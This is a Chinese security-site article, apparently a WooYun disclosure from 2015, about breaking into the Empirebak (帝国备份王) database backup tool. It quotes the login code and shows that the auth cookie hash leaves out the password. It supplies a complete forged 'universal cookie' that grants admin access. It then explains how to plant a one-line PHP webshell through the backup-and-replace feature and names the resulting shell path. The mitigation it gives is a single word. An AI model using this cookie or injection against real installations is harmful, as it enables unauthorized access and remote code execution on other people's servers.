频道栏目
首页 > 安全 > 网站安全 > 正文
帝国备份王(Empirebak)万能cookie及拿shell
2015-01-14 10:25:48         来源:乌云  
收藏   我要投稿

 1.伪造cookie登录系统(其实这一步多余的,大多用户连密码都没改,都是默认的123456)

登录成功设置4个cookie,看代码

function login($lusername,$lpassword,$key,$lifetime=0){ 

global $set_username,$set_password,$set_loginauth,$set_loginkey; 

if(empty($lusername)||empty($lpassword)) 

{ 

printerror("EmptyLoginUser","index.php"); 

} 

//验证码 

if(!$set_loginkey) 

{ 

if($key<>getcvar('checkkey')||empty($key)) 

{ 

printerror("FailLoginKey","index.php"); 

} 

} 

if(md5($lusername)<>md5($set_username)||md5($lpassword)<>$set_password) 

{ 

printerror("ErrorUser","index.php"); 

} 

//认证码 

if($set_loginauth&&$set_loginauth!=$_POST['loginauth']) 

{ 

printerror("ErrorLoginAuth","index.php"); 

} 

$logintime=time(); 

$rnd=make_password(12);//生成随机字符 

$s1=esetcookie("bakusername",$lusername,0); 

$s2=esetcookie("bakrnd",$rnd,0);//随机字符 

$s3=esetcookie("baklogintime",$logintime,0); 

Ebak_SCookieRnd($lusername,$rnd);// 

if(!$s1||!$s2) 

{ 

printerror("NotOpenCookie","index.php"); 

} 

printerror("LoginSuccess","admin.php"); 

}

再看看make_password函数

function make_password($pw_length){ 

$low_ascii_bound=50; 

$upper_ascii_bound=122; 

$notuse=array(58,59,60,61,62,63,64,73,79,91,92,93,94,95,96,108,111); 

while($i<$pw_length) 

{ 

mt_srand((double)microtime()*1000000); 

$randnum=mt_rand($low_ascii_bound,$upper_ascii_bound); 

if(!in_array($randnum,$notuse)) 

{ 

$password1=$password1.chr($randnum); 

$i++; 

} 

} 

return $password1; 

}

这个函数只是生成随机数,再看看Ebak_SCookieRnd函数

function Ebak_SCookieRnd($username,$rnd){ 

global $set_loginrnd;//$set_loginrnd为config.php里面的验证随机码 

$ckpass=md5(md5($rnd.$set_loginrnd).'-'.$rnd.'-'.$username.'-');//没有把密码加进去,于是漏洞产生了 

esetcookie("loginebakckpass",$ckpass,0); 

}

下面给出万能cookie(key:value):

ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6 

ebak_bakrnd:35y5cCnnA4Kh 

ebak_bakusername:admin 

ebak_baklogintime:4070883661

使用以上cookie即可直接访问admin.php

2.拿shell

后台参数设置一般都设置好了,如果不能连接数据库,可以在数据库设置里填个自己的远程数据库

 

备份数据,随便找个数据库备份,

 

然后到替换目录文件内容里,选择刚才备份的数据库,

"$b_table="
替换成

"phpinfo();//或者写你的一句话木马

$b_table="

这里shell的路径就是bdata/mysql_20141007221849/config.php 

修复方案:

过滤
点击复制链接 与好友分享!回本站首页
相关TAG标签 帝国 备份
上一篇:海尔某遗留问题导致可访问商城主库及解决方案
下一篇:实例讲解黑客如何执行SQL注入攻击
相关文章
图文推荐
点击排行

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站